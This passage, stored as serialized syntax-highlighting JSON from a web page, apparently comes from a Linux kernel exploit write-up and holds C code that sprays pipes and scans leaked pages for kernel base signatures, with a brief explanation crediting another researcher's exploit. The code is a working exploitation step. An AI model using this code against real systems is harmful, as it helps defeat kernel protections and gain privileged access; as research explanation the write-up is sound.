",{"type":23,"tag":141,"props":57160,"children":57161},{"style":160},[57162],{"type":29,"value":3058},{"type":23,"tag":141,"props":57164,"children":57165},{"style":472},[57166],{"type":29,"value":3198},{"type":23,"tag":141,"props":57168,"children":57169},{"style":154},[57170],{"type":29,"value":1684},{"type":23,"tag":141,"props":57172,"children":57173},{"class":143,"line":839},[57174],{"type":23,"tag":141,"props":57175,"children":57176},{"style":154},[57177],{"type":29,"value":8998},{"type":23,"tag":141,"props":57179,"children":57180},{"class":143,"line":848},[57181,57186,57190,57194,57198,57202,57207,57211,57216,57220],{"type":23,"tag":141,"props":57182,"children":57183},{"style":154},[57184],{"type":29,"value":57185}," for (",{"type":23,"tag":141,"props":57187,"children":57188},{"style":449},[57189],{"type":29,"value":17718},{"type":23,"tag":141,"props":57191,"children":57192},{"style":750},[57193],{"type":29,"value":7299},{"type":23,"tag":141,"props":57195,"children":57196},{"style":160},[57197],{"type":29,"value":1674},{"type":23,"tag":141,"props":57199,"children":57200},{"style":472},[57201],{"type":29,"value":1707},{"type":23,"tag":141,"props":57203,"children":57204},{"style":154},[57205],{"type":29,"value":57206},"; j ",{"type":23,"tag":141,"props":57208,"children":57209},{"style":160},[57210],{"type":29,"value":4480},{"type":23,"tag":141,"props":57212,"children":57213},{"style":154},[57214],{"type":29,"value":57215}," PIPE_SPRAY; j",{"type":23,"tag":141,"props":57217,"children":57218},{"style":160},[57219],{"type":29,"value":49748},{"type":23,"tag":141,"props":57221,"children":57222},{"style":154},[57223],{"type":29,"value":758},{"type":23,"tag":141,"props":57225,"children":57226},{"class":143,"line":2304},[57227],{"type":23,"tag":141,"props":57228,"children":57229},{"style":154},[57230],{"type":29,"value":30127},{"type":23,"tag":141,"props":57232,"children":57233},{"class":143,"line":2313},[57234,57239,57243,57247,57252,57256],{"type":23,"tag":141,"props":57235,"children":57236},{"style":184},[57237],{"type":29,"value":57238}," memset",{"type":23,"tag":141,"props":57240,"children":57241},{"style":154},[57242],{"type":29,"value":192},{"type":23,"tag":141,"props":57244,"children":57245},{"style":160},[57246],{"type":29,"value":1770},{"type":23,"tag":141,"props":57248,"children":57249},{"style":154},[57250],{"type":29,"value":57251},"data, ",{"type":23,"tag":141,"props":57253,"children":57254},{"style":472},[57255],{"type":29,"value":2698},{"type":23,"tag":141,"props":57257,"children":57258},{"style":154},[57259],{"type":29,"value":57260},", PAGE_SIZE);\n",{"type":23,"tag":141,"props":57262,"children":57263},{"class":143,"line":2335},[57264,57269],{"type":23,"tag":141,"props":57265,"children":57266},{"style":449},[57267],{"type":29,"value":57268}," int",{"type":23,"tag":141,"props":57270,"children":57271},{"style":154},[57272],{"type":29,"value":57273}," count;\n",{"type":23,"tag":141,"props":57275,"children":57276},{"class":143,"line":2343},[57277,57282,57287,57291,57296,57300,57305,57310,57314,57318,57322,57327,57331,57335],{"type":23,"tag":141,"props":57278,"children":57279},{"style":148},[57280],{"type":29,"value":57281}," if",{"type":23,"tag":141,"props":57283,"children":57284},{"style":154},[57285],{"type":29,"value":57286}," (count ",{"type":23,"tag":141,"props":57288,"children":57289},{"style":160},[57290],{"type":29,"value":1377},{"type":23,"tag":141,"props":57292,"children":57293},{"style":184},[57294],{"type":29,"value":57295}," read",{"type":23,"tag":141,"props":57297,"children":57298},{"style":154},[57299],{"type":29,"value":192},{"type":23,"tag":141,"props":57301,"children":57302},{"style":750},[57303],{"type":29,"value":57304},"pfd",{"type":23,"tag":141,"props":57306,"children":57307},{"style":154},[57308],{"type":29,"value":57309},"[j][",{"type":23,"tag":141,"props":57311,"children":57312},{"style":472},[57313],{"type":29,"value":2698},{"type":23,"tag":141,"props":57315,"children":57316},{"style":154},[57317],{"type":29,"value":21732},{"type":23,"tag":141,"props":57319,"children":57320},{"style":160},[57321],{"type":29,"value":1770},{"type":23,"tag":141,"props":57323,"children":57324},{"style":154},[57325],{"type":29,"value":57326},"data, PAGE_SIZE) ",{"type":23,"tag":141,"props":57328,"children":57329},{"style":160},[57330],{"type":29,"value":4480},{"type":23,"tag":141,"props":57332,"children":57333},{"style":472},[57334],{"type":29,"value":1707},{"type":23,"tag":141,"props":57336,"children":57337},{"style":154},[57338],{"type":29,"value":758},{"type":23,"tag":141,"props":57340,"children":57341},{"class":143,"line":2352},[57342],{"type":23,"tag":141,"props":57343,"children":57344},{"style":154},[57345],{"type":29,"value":30163},{"type":23,"tag":141,"props":57347,"children":57348},{"class":143,"line":2421},[57349,57354],{"type":23,"tag":141,"props":57350,"children":57351},{"style":148},[57352],{"type":29,"value":57353}," continue",{"type":23,"tag":141,"props":57355,"children":57356},{"style":154},[57357],{"type":29,"value":1684},{"type":23,"tag":141,"props":57359,"children":57360},{"class":143,"line":2429},[57361],{"type":23,"tag":141,"props":57362,"children":57363},{"style":154},[57364],{"type":29,"value":57365}," }\n",{"type":23,"tag":141,"props":57367,"children":57368},{"class":143,"line":2459},[57369],{"type":23,"tag":141,"props":57370,"children":57371},{"style":154},[57372],{"type":29,"value":8998},{"type":23,"tag":141,"props":57374,"children":57375},{"class":143,"line":2467},[57376],{"type":23,"tag":141,"props":57377,"children":57378},{"emptyLinePlaceholder":15},[57379],{"type":29,"value":719},{"type":23,"tag":141,"props":57381,"children":57382},{"class":143,"line":2499},[57383,57388,57393,57397,57401],{"type":23,"tag":141,"props":57384,"children":57385},{"style":154},[57386],{"type":29,"value":57387}," if (",{"type":23,"tag":141,"props":57389,"children":57390},{"style":725},[57391],{"type":29,"value":57392},"is_kernel_base",{"type":23,"tag":141,"props":57394,"children":57395},{"style":154},[57396],{"type":29,"value":192},{"type":23,"tag":141,"props":57398,"children":57399},{"style":725},[57400],{"type":29,"value":2367},{"type":23,"tag":141,"props":57402,"children":57403},{"style":154},[57404],{"type":29,"value":57405},")) // [1] identify kernel base\n",{"type":23,"tag":141,"props":57407,"children":57408},{"class":143,"line":2507},[57409],{"type":23,"tag":141,"props":57410,"children":57411},{"style":154},[57412],{"type":29,"value":30163},{"type":23,"tag":141,"props":57414,"children":57415},{"class":143,"line":2567},[57416,57421,57425,57429],{"type":23,"tag":141,"props":57417,"children":57418},{"style":154},[57419],{"type":29,"value":57420}," found ",{"type":23,"tag":141,"props":57422,"children":57423},{"style":160},[57424],{"type":29,"value":1377},{"type":23,"tag":141,"props":57426,"children":57427},{"style":449},[57428],{"type":29,"value":11148},{"type":23,"tag":141,"props":57430,"children":57431},{"style":154},[57432],{"type":29,"value":1684},{"type":23,"tag":141,"props":57434,"children":57435},{"class":143,"line":7724},[57436,57441],{"type":23,"tag":141,"props":57437,"children":57438},{"style":148},[57439],{"type":29,"value":57440}," break",{"type":23,"tag":141,"props":57442,"children":57443},{"style":154},[57444],{"type":29,"value":1684},{"type":23,"tag":141,"props":57446,"children":57447},{"class":143,"line":7742},[57448],{"type":23,"tag":141,"props":57449,"children":57450},{"style":154},[57451],{"type":29,"value":57365},{"type":23,"tag":141,"props":57453,"children":57454},{"class":143,"line":7787},[57455],{"type":23,"tag":141,"props":57456,"children":57457},{"style":154},[57458],{"type":29,"value":2008},{"type":23,"tag":141,"props":57460,"children":57461},{"class":143,"line":7893},[57462],{"type":23,"tag":141,"props":57463,"children":57464},{"emptyLinePlaceholder":15},[57465],{"type":29,"value":719},{"type":23,"tag":141,"props":57467,"children":57468},{"class":143,"line":22181},[57469],{"type":23,"tag":141,"props":57470,"children":57471},{"style":154},[57472],{"type":29,"value":8998},{"type":23,"tag":32,"props":57474,"children":57475},{},[57476,57478,57482,57484,57490,57492,57496],{"type":29,"value":57477},"Notice that at ",{"type":23,"tag":141,"props":57479,"children":57480},{},[57481],{"type":29,"value":687},{"type":29,"value":57483}," we call the ",{"type":23,"tag":38,"props":57485,"children":57487},{"className":57486},[],[57488],{"type":29,"value":57489},"is_kernel_base()",{"type":29,"value":57491}," function. This is a function based on lau's exploit ",{"type":23,"tag":141,"props":57493,"children":57494},{},[57495],{"type":29,"value":16786},{"type":29,"value":57497}," that basically matches for multiple byte patterns that may exist at the kernel base page across different builds, to maximize compatibility.",{"type":23,"tag":131,"props":57499,"children":57501},{"className":133,"code":57500,"language":135,"meta":7,"style":7},"[...]\nstatic bool is_kernel_base(unsigned char *addr)\n{\n // thanks lau :)\n\n // get-sig kernel_runtime_1\n if (memcmp(addr + 0x0, \"\\x48\\x8d\\x25\\x51\\x3f\", 5) == 0 &&\n memcmp(addr + 0x7, \"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff\", 7) == 0)\n return true;\n\n // get-sig kernel_runtime_2\n if (memcmp(addr + 0x0, \"\\xfc\\x0f\\x01\\x15\", 4) == 0 &&\n memcmp(addr + 0x8, \"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf\", 12) == 0 &&\n memcmp(addr + 0x18, \"\\x89\\xde\\x8b\\x0d\", 4) == 0 &&\n memcmp(addr + 0x20, \"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc\", 6) == 0 &&\n memcmp(addr + 0x2a, \"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00\", 24) == 0 &&\n memcmp(addr + 0x45, \"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00\", 15) == 0 &&\n memcmp(addr + 0x55, \"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8\", 8) == 0 &&\n memcmp(addr + 0x61, \"\\x31\\xd2\\x0f\\x30\\xe8\", 5) == 0 &&\n memcmp(addr + 0x6a, \"\\x48\\xc7\\xc6\", 3) == 0 &&\n memcmp(addr + 0x71, \"\\x48\\xc7\\xc0\\x80\\x00\\x00\", 6) == 0 &&\n memcmp(addr + 0x78, \"\\xff\\xe0\", 2) == 0)\n return true;\n\n return false;\n}\n[...]\n",[57502],{"type":23,"tag":38,"props":57503,"children":57504},{"__ignoreMap":7},[57505,57512,57542,57549,57557,57564,57572,57643,57705,57720,57727,57735,57803,57865,57926,57987,58049,58111,58172,58233,58294,58355,58416,58431,58438,58453,58460],{"type":23,"tag":141,"props":57506,"children":57507},{"class":143,"line":144},[57508],{"type":23,"tag":141,"props":57509,"children":57510},{"style":154},[57511],{"type":29,"value":8998},{"type":23,"tag":141,"props":57513,"children":57514},{"class":143,"line":180},[57515,57520,57525,57530,57534,57538],{"type":23,"tag":141,"props":57516,"children":57517},{"style":154},[57518],{"type":29,"value":57519},"static bool is_kernel_base(",{"type":23,"tag":141,"props":57521,"children":57522},{"style":449},[57523],{"type":29,"value":57524},"unsigned",{"type":23,"tag":141,"props":57526,"children":57527},{"style":449},[57528],{"type":29,"value":57529}," char",{"type":23,"tag":141,"props":57531,"children":57532},{"style":449},[57533],{"type":29,"value":8496},{"type":23,"tag":141,"props":57535,"children":57536},{"style":750},[57537],{"type":29,"value":29154},{"type":23,"tag":141,"props":57539,"children":57540},{"style":154},[57541],{"type":29,"value":758},{"type":23,"tag":141,"props":57543,"children":57544},{"class":143,"line":205},[57545],{"type":23,"tag":141,"props":57546,"children":57547},{"style":154},[57548],{"type":29,"value":766},{"type":23,"tag":141,"props":57550,"children":57551},{"class":143,"line":218},[57552],{"type":23,"tag":141,"props":57553,"children":57554},{"style":443},[57555],{"type":29,"value":57556}," // thanks lau :)\n",{"type":23,"tag":141,"props":57558,"children":57559},{"class":143,"line":227},[57560],{"type":23,"tag":141,"props":57561,"children":57562},{"emptyLinePlaceholder":15},[57563],{"type":29,"value":719},{"type":23,"tag":141,"props":57565,"children":57566},{"class":143,"line":241},[57567],{"type":23,"tag":141,"props":57568,"children":57569},{"style":443},[57570],{"type":29,"value":57571}," // get-sig kernel_runtime_1\n",{"type":23,"tag":141,"props":57573,"children":57574},{"class":143,"line":262},[57575,57579,57583,57588,57593,57597,57602,57606,57610,57615,57619,57623,57627,57631,57635,57639],{"type":23,"tag":141,"props":57576,"children":57577},{"style":148},[57578],{"type":29,"value":151},{"type":23,"tag":141,"props":57580,"children":57581},{"style":154},[57582],{"type":29,"value":1220},{"type":23,"tag":141,"props":57584,"children":57585},{"style":184},[57586],{"type":29,"value":57587},"memcmp",{"type":23,"tag":141,"props":57589,"children":57590},{"style":154},[57591],{"type":29,"value":57592},"(addr ",{"type":23,"tag":141,"props":57594,"children":57595},{"style":160},[57596],{"type":29,"value":3058},{"type":23,"tag":141,"props":57598,"children":57599},{"style":472},[57600],{"type":29,"value":57601}," 0x0",{"type":23,"tag":141,"props":57603,"children":57604},{"style":154},[57605],{"type":29,"value":480},{"type":23,"tag":141,"props":57607,"children":57608},{"style":828},[57609],{"type":29,"value":18731},{"type":23,"tag":141,"props":57611,"children":57612},{"style":46851},[57613],{"type":29,"value":57614},"\\x48\\x8d\\x25\\x51\\x3f",{"type":23,"tag":141,"props":57616,"children":57617},{"style":828},[57618],{"type":29,"value":18731},{"type":23,"tag":141,"props":57620,"children":57621},{"style":154},[57622],{"type":29,"value":480},{"type":23,"tag":141,"props":57624,"children":57625},{"style":472},[57626],{"type":29,"value":16786},{"type":23,"tag":141,"props":57628,"children":57629},{"style":154},[57630],{"type":29,"value":1748},{"type":23,"tag":141,"props":57632,"children":57633},{"style":160},[57634],{"type":29,"value":7251},{"type":23,"tag":141,"props":57636,"children":57637},{"style":472},[57638],{"type":29,"value":1707},{"type":23,"tag":141,"props":57640,"children":57641},{"style":160},[57642],{"type":29,"value":51163},{"type":23,"tag":141,"props":57644,"children":57645},{"class":143,"line":271},[57646,57651,57655,57659,57664,57668,57672,57677,57681,57685,57689,57693,57697,57701],{"type":23,"tag":141,"props":57647,"children":57648},{"style":184},[57649],{"type":29,"value":57650}," memcmp",{"type":23,"tag":141,"props":57652,"children":57653},{"style":154},[57654],{"type":29,"value":57592},{"type":23,"tag":141,"props":57656,"children":57657},{"style":160},[57658],{"type":29,"value":3058},{"type":23,"tag":141,"props":57660,"children":57661},{"style":472},[57662],{"type":29,"value":57663}," 0x7",{"type":23,"tag":141,"props":57665,"children":57666},{"style":154},[57667],{"type":29,"value":480},{"type":23,"tag":141,"props":57669,"children":57670},{"style":828},[57671],{"type":29,"value":18731},{"type":23,"tag":141,"props":57673,"children":57674},{"style":46851},[57675],{"type":29,"value":57676},"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff",{"type":23,"tag":141,"props":57678,"children":57679},{"style":828},[57680],{"type":29,"value":18731},{"type":23,"tag":141,"props":57682,"children":57683},{"style":154},[57684],{"type":29,"value":480},{"type":23,"tag":141,"props":57686,"children":57687},{"style":472},[57688],{"type":29,"value":53150},{"type":23,"tag":141,"props":57690,"children":57691},{"style":154},[57692],{"type":29,"value":1748},{"type":23,"tag":141,"props":57694,"children":57695},{"style":160},[57696],{"type":29,"value":7251},{"type":23,"tag":141,"props":57698,"children":57699},{"style":472},[57700],{"type":29,"value":1707},{"type":23,"tag":141,"props":57702,"children":57703},{"style":154},[57704],{"type":29,"value":758},{"type":23,"tag":141,"props":57706,"children":57707},{"class":143,"line":293},[57708,57712,57716],{"type":23,"tag":141,"props":57709,"children":57710},{"style":148},[57711],{"type":29,"value":14420},{"type":23,"tag":141,"props":57713,"children":57714},{"style":449},[57715],{"type":29,"value":11148},{"type":23,"tag":141,"props":57717,"children":57718},{"style":154},[57719],{"type":29,"value":1684},{"type":23,"tag":141,"props":57721,"children":57722},{"class":143,"line":801},[57723],{"type":23,"tag":141,"props":57724,"children":57725},{"emptyLinePlaceholder":15},[57726],{"type":29,"value":719},{"type":23,"tag":141,"props":57728,"children":57729},{"class":143,"line":810},[57730],{"type":23,"tag":141,"props":57731,"children":57732},{"style":443},[57733],{"type":29,"value":57734}," // get-sig kernel_runtime_2\n",{"type":23,"tag":141,"props":57736,"children":57737},{"class":143,"line":824},[57738,57742,57746,57750,57754,57758,57762,57766,57770,57775,57779,57783,57787,57791,57795,57799],{"type":23,"tag":141,"props":57739,"children":57740},{"style":148},[57741],{"type":29,"value":151},{"type":23,"tag":141,"props":57743,"children":57744},{"style":154},[57745],{"type":29,"value":1220},{"type":23,"tag":141,"props":57747,"children":57748},{"style":184},[57749],{"type":29,"value":57587},{"type":23,"tag":141,"props":57751,"children":57752},{"style":154},[57753],{"type":29,"value":57592},{"type":23,"tag":141,"props":57755,"children":57756},{"style":160},[57757],{"type":29,"value":3058},{"type":23,"tag":141,"props":57759,"children":57760},{"style":472},[57761],{"type":29,"value":57601},{"type":23,"tag":141,"props":57763,"children":57764},{"style":154},[57765],{"type":29,"value":480},{"type":23,"tag":141,"props":57767,"children":57768},{"style":828},[57769],{"type":29,"value":18731},{"type":23,"tag":141,"props":57771,"children":57772},{"style":46851},[57773],{"type":29,"value":57774},"\\xfc\\x0f\\x01\\x15",{"type":23,"tag":141,"props":57776,"children":57777},{"style":828},[57778],{"type":29,"value":18731},{"type":23,"tag":141,"props":57780,"children":57781},{"style":154},[57782],{"type":29,"value":480},{"type":23,"tag":141,"props":57784,"children":57785},{"style":472},[57786],{"type":29,"value":16205},{"type":23,"tag":141,"props":57788,"children":57789},{"style":154},[57790],{"type":29,"value":1748},{"type":23,"tag":141,"props":57792,"children":57793},{"style":160},[57794],{"type":29,"value":7251},{"type":23,"tag":141,"props":57796,"children":57797},{"style":472},[57798],{"type":29,"value":1707},{"type":23,"tag":141,"props":57800,"children":57801},{"style":160},[57802],{"type":29,"value":51163},{"type":23,"tag":141,"props":57804,"children":57805},{"class":143,"line":839},[57806,57810,57814,57818,57823,57827,57831,57836,57840,57844,57849,57853,57857,57861],{"type":23,"tag":141,"props":57807,"children":57808},{"style":184},[57809],{"type":29,"value":57650},{"type":23,"tag":141,"props":57811,"children":57812},{"style":154},[57813],{"type":29,"value":57592},{"type":23,"tag":141,"props":57815,"children":57816},{"style":160},[57817],{"type":29,"value":3058},{"type":23,"tag":141,"props":57819,"children":57820},{"style":472},[57821],{"type":29,"value":57822}," 0x8",{"type":23,"tag":141,"props":57824,"children":57825},{"style":154},[57826],{"type":29,"value":480},{"type":23,"tag":141,"props":57828,"children":57829},{"style":828},[57830],{"type":29,"value":18731},{"type":23,"tag":141,"props":57832,"children":57833},{"style":46851},[57834],{"type":29,"value":57835},"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf",{"type":23,"tag":141,"props":57837,"children":57838},{"style":828},[57839],{"type":29,"value":18731},{"type":23,"tag":141,"props":57841,"children":57842},{"style":154},[57843],{"type":29,"value":480},{"type":23,"tag":141,"props":57845,"children":57846},{"style":472},[57847],{"type":29,"value":57848},"12",{"type":23,"tag":141,"props":57850,"children":57851},{"style":154},[57852],{"type":29,"value":1748},{"type":23,"tag":141,"props":57854,"children":57855},{"style":160},[57856],{"type":29,"value":7251},{"type":23,"tag":141,"props":57858,"children":57859},{"style":472},[57860],{"type":29,"value":1707},{"type":23,"tag":141,"props":57862,"children":57863},{"style":160},[57864],{"type":29,"value":51163},{"type":23,"tag":141,"props":57866,"children":57867},{"class":143,"line":848},[57868,57872,57876,57880,57885,57889,57893,57898,57902,57906,57910,57914,57918,57922],{"type":23,"tag":141,"props":57869,"children":57870},{"style":184},[57871],{"type":29,"value":57650},{"type":23,"tag":141,"props":57873,"children":57874},{"style":154},[57875],{"type":29,"value":57592},{"type":23,"tag":141,"props":57877,"children":57878},{"style":160},[57879],{"type":29,"value":3058},{"type":23,"tag":141,"props":57881,"children":57882},{"style":472},[57883],{"type":29,"value":57884}," 0x18",{"type":23,"tag":141,"props":57886,"children":57887},{"style":154},[57888],{"type":29,"value":480},{"type":23,"tag":141,"props":57890,"children":57891},{"style":828},[57892],{"type":29,"value":18731},{"type":23,"tag":141,"props":57894,"children":57895},{"style":46851},[57896],{"type":29,"value":57897},"\\x89\\xde\\x8b\\x0d",{"type":23,"tag":141,"props":57899,"children":57900},{"style":828},[57901],{"type":29,"value":18731},{"type":23,"tag":141,"props":57903,"children":57904},{"style":154},[57905],{"type":29,"value":480},{"type":23,"tag":141,"props":57907,"children":57908},{"style":472},[57909],{"type":29,"value":16205},{"type":23,"tag":141,"props":57911,"children":57912},{"style":154},[57913],{"type":29,"value":1748},{"type":23,"tag":141,"props":57915,"children":57916},{"style":160},[57917],{"type":29,"value":7251},{"type":23,"tag":141,"props":57919,"children":57920},{"style":472},[57921],{"type":29,"value":1707},{"type":23,"tag":141,"props":57923,"children":57924},{"style":160},[57925],{"type":29,"value":51163},{"type":23,"tag":141,"props":57927,"children":57928},{"class":143,"line":2304},[57929,57933,57937,57941,57946,57950,57954,57959,57963,57967,57971,57975,57979,57983],{"type":23,"tag":141,"props":57930,"children":57931},{"style":184},[57932],{"type":29,"value":57650},{"type":23,"tag":141,"props":57934,"children":57935},{"style":154},[57936],{"type":29,"value":57592},{"type":23,"tag":141,"props":57938,"children":57939},{"style":160},[57940],{"type":29,"value":3058},{"type":23,"tag":141,"props":57942,"children":57943},{"style":472},[57944],{"type":29,"value":57945}," 0x20",{"type":23,"tag":141,"props":57947,"children":57948},{"style":154},[57949],{"type":29,"value":480},{"type":23,"tag":141,"props":57951,"children":57952},{"style":828},[57953],{"type":29,"value":18731},{"type":23,"tag":141,"props":57955,"children":57956},{"style":46851},[57957],{"type":29,"value":57958},"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc",{"type":23,"tag":141,"props":57960,"children":57961},{"style":828},[57962],{"type":29,"value":18731},{"type":23,"tag":141,"props":57964,"children":57965},{"style":154},[57966],{"type":29,"value":480},{"type":23,"tag":141,"props":57968,"children":57969},{"style":472},[57970],{"type":29,"value":17098},{"type":23,"tag":141,"props":57972,"children":57973},{"style":154},[57974],{"type":29,"value":1748},{"type":23,"tag":141,"props":57976,"children":57977},{"style":160},[57978],{"type":29,"value":7251},{"type":23,"tag":141,"props":57980,"children":57981},{"style":472},[57982],{"type":29,"value":1707},{"type":23,"tag":141,"props":57984,"children":57985},{"style":160},[57986],{"type":29,"value":51163},{"type":23,"tag":141,"props":57988,"children":57989},{"class":143,"line":2313},[57990,57994,57998,58002,58007,58011,58015,58020,58024,58028,58033,58037,58041,58045],{"type":23,"tag":141,"props":57991,"children":57992},{"style":184},[57993],{"type":29,"value":57650},{"type":23,"tag":141,"props":57995,"children":57996},{"style":154},[57997],{"type":29,"value":57592},{"type":23,"tag":141,"props":57999,"children":58000},{"style":160},[58001],{"type":29,"value":3058},{"type":23,"tag":141,"props":58003,"children":58004},{"style":472},[58005],{"type":29,"value":58006}," 0x2a",{"type":23,"tag":141,"props":58008,"children":58009},{"style":154},[58010],{"type":29,"value":480},{"type":23,"tag":141,"props":58012,"children":58013},{"style":828},[58014],{"type":29,"value":18731},{"type":23,"tag":141,"props":58016,"children":58017},{"style":46851},[58018],{"type":29,"value":58019},"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00",{"type":23,"tag":141,"props":58021,"children":58022},{"style":828},[58023],{"type":29,"value":18731},{"type":23,"tag":141,"props":58025,"children":58026},{"style":154},[58027],{"type":29,"value":480},{"type":23,"tag":141,"props":58029,"children":58030},{"style":472},[58031],{"type":29,"value":58032},"24",{"type":23,"tag":141,"props":58034,"children":58035},{"style":154},[58036],{"type":29,"value":1748},{"type":23,"tag":141,"props":58038,"children":58039},{"style":160},[58040],{"type":29,"value":7251},{"type":23,"tag":141,"props":58042,"children":58043},{"style":472},[58044],{"type":29,"value":1707},{"type":23,"tag":141,"props":58046,"children":58047},{"style":160},[58048],{"type":29,"value":51163},{"type":23,"tag":141,"props":58050,"children":58051},{"class":143,"line":2335},[58052,58056,58060,58064,58069,58073,58077,58082,58086,58090,58095,58099,58103,58107],{"type":23,"tag":141,"props":58053,"children":58054},{"style":184},[58055],{"type":29,"value":57650},{"type":23,"tag":141,"props":58057,"children":58058},{"style":154},[58059],{"type":29,"value":57592},{"type":23,"tag":141,"props":58061,"children":58062},{"style":160},[58063],{"type":29,"value":3058},{"type":23,"tag":141,"props":58065,"children":58066},{"style":472},[58067],{"type":29,"value":58068}," 0x45",{"type":23,"tag":141,"props":58070,"children":58071},{"style":154},[58072],{"type":29,"value":480},{"type":23,"tag":141,"props":58074,"children":58075},{"style":828},[58076],{"type":29,"value":18731},{"type":23,"tag":141,"props":58078,"children":58079},{"style":46851},[58080],{"type":29,"value":58081},"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00",{"type":23,"tag":141,"props":58083,"children":58084},{"style":828},[58085],{"type":29,"value":18731},{"type":23,"tag":141,"props":58087,"children":58088},{"style":154},[58089],{"type":29,"value":480},{"type":23,"tag":141,"props":58091,"children":58092},{"style":472},[58093],{"type":29,"value":58094},"15",{"type":23,"tag":141,"props":58096,"children":58097},{"style":154},[58098],{"type":29,"value":1748},{"type":23,"tag":141,"props":58100,"children":58101},{"style":160},[58102],{"type":29,"value":7251},{"type":23,"tag":141,"props":58104,"children":58105},{"style":472},[58106],{"type":29,"value":1707},{"type":23,"tag":141,"props":58108,"children":58109},{"style":160},[58110],{"type":29,"value":51163},{"type":23,"tag":141,"props":58112,"children":58113},{"class":143,"line":2343},[58114,58118,58122,58126,58131,58135,58139,58144,58148,58152,58156,58160,58164,58168],{"type":23,"tag":141,"props":58115,"children":58116},{"style":184},[58117],{"type":29,"value":57650},{"type":23,"tag":141,"props":58119,"children":58120},{"style":154},[58121],{"type":29,"value":57592},{"type":23,"tag":141,"props":58123,"children":58124},{"style":160},[58125],{"type":29,"value":3058},{"type":23,"tag":141,"props":58127,"children":58128},{"style":472},[58129],{"type":29,"value":58130}," 0x55",{"type":23,"tag":141,"props":58132,"children":58133},{"style":154},[58134],{"type":29,"value":480},{"type":23,"tag":141,"props":58136,"children":58137},{"style":828},[58138],{"type":29,"value":18731},{"type":23,"tag":141,"props":58140,"children":58141},{"style":46851},[58142],{"type":29,"value":58143},"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8",{"type":23,"tag":141,"props":58145,"children":58146},{"style":828},[58147],{"type":29,"value":18731},{"type":23,"tag":141,"props":58149,"children":58150},{"style":154},[58151],{"type":29,"value":480},{"type":23,"tag":141,"props":58153,"children":58154},{"style":472},[58155],{"type":29,"value":2752},{"type":23,"tag":141,"props":58157,"children":58158},{"style":154},[58159],{"type":29,"value":1748},{"type":23,"tag":141,"props":58161,"children":58162},{"style":160},[58163],{"type":29,"value":7251},{"type":23,"tag":141,"props":58165,"children":58166},{"style":472},[58167],{"type":29,"value":1707},{"type":23,"tag":141,"props":58169,"children":58170},{"style":160},[58171],{"type":29,"value":51163},{"type":23,"tag":141,"props":58173,"children":58174},{"class":143,"line":2352},[58175,58179,58183,58187,58192,58196,58200,58205,58209,58213,58217,58221,58225,58229],{"type":23,"tag":141,"props":58176,"children":58177},{"style":184},[58178],{"type":29,"value":57650},{"type":23,"tag":141,"props":58180,"children":58181},{"style":154},[58182],{"type":29,"value":57592},{"type":23,"tag":141,"props":58184,"children":58185},{"style":160},[58186],{"type":29,"value":3058},{"type":23,"tag":141,"props":58188,"children":58189},{"style":472},[58190],{"type":29,"value":58191}," 0x61",{"type":23,"tag":141,"props":58193,"children":58194},{"style":154},[58195],{"type":29,"value":480},{"type":23,"tag":141,"props":58197,"children":58198},{"style":828},[58199],{"type":29,"value":18731},{"type":23,"tag":141,"props":58201,"children":58202},{"style":46851},[58203],{"type":29,"value":58204},"\\x31\\xd2\\x0f\\x30\\xe8",{"type":23,"tag":141,"props":58206,"children":58207},{"style":828},[58208],{"type":29,"value":18731},{"type":23,"tag":141,"props":58210,"children":58211},{"style":154},[58212],{"type":29,"value":480},{"type":23,"tag":141,"props":58214,"children":58215},{"style":472},[58216],{"type":29,"value":16786},{"type":23,"tag":141,"props":58218,"children":58219},{"style":154},[58220],{"type":29,"value":1748},{"type":23,"tag":141,"props":58222,"children":58223},{"style":160},[58224],{"type":29,"value":7251},{"type":23,"tag":141,"props":58226,"children":58227},{"style":472},[58228],{"type":29,"value":1707},{"type":23,"tag":141,"props":58230,"children":58231},{"style":160},[58232],{"type":29,"value":51163},{"type":23,"tag":141,"props":58234,"children":58235},{"class":143,"line":2421},[58236,58240,58244,58248,58253,58257,58261,58266,58270,58274,58278,58282,58286,58290],{"type":23,"tag":141,"props":58237,"children":58238},{"style":184},[58239],{"type":29,"value":57650},{"type":23,"tag":141,"props":58241,"children":58242},{"style":154},[58243],{"type":29,"value":57592},{"type":23,"tag":141,"props":58245,"children":58246},{"style":160},[58247],{"type":29,"value":3058},{"type":23,"tag":141,"props":58249,"children":58250},{"style":472},[58251],{"type":29,"value":58252}," 0x6a",{"type":23,"tag":141,"props":58254,"children":58255},{"style":154},[58256],{"type":29,"value":480},{"type":23,"tag":141,"props":58258,"children":58259},{"style":828},[58260],{"type":29,"value":18731},{"type":23,"tag":141,"props":58262,"children":58263},{"style":46851},[58264],{"type":29,"value":58265},"\\x48\\xc7\\xc6",{"type":23,"tag":141,"props":58267,"children":58268},{"style":828},[58269],{"type":29,"value":18731},{"type":23,"tag":141,"props":58271,"children":58272},{"style":154},[58273],{"type":29,"value":480},{"type":23,"tag":141,"props":58275,"children":58276},{"style":472},[58277],{"type":29,"value":15972},{"type":23,"tag":141,"props":58279,"children":58280},{"style":154},[58281],{"type":29,"value":1748},{"type":23,"tag":141,"props":58283,"children":58284},{"style":160},[58285],{"type":29,"value":7251},{"type":23,"tag":141,"props":58287,"children":58288},{"style":472},[58289],{"type":29,"value":1707},{"type":23,"tag":141,"props":58291,"children":58292},{"style":160},[58293],{"type":29,"value":51163},{"type":23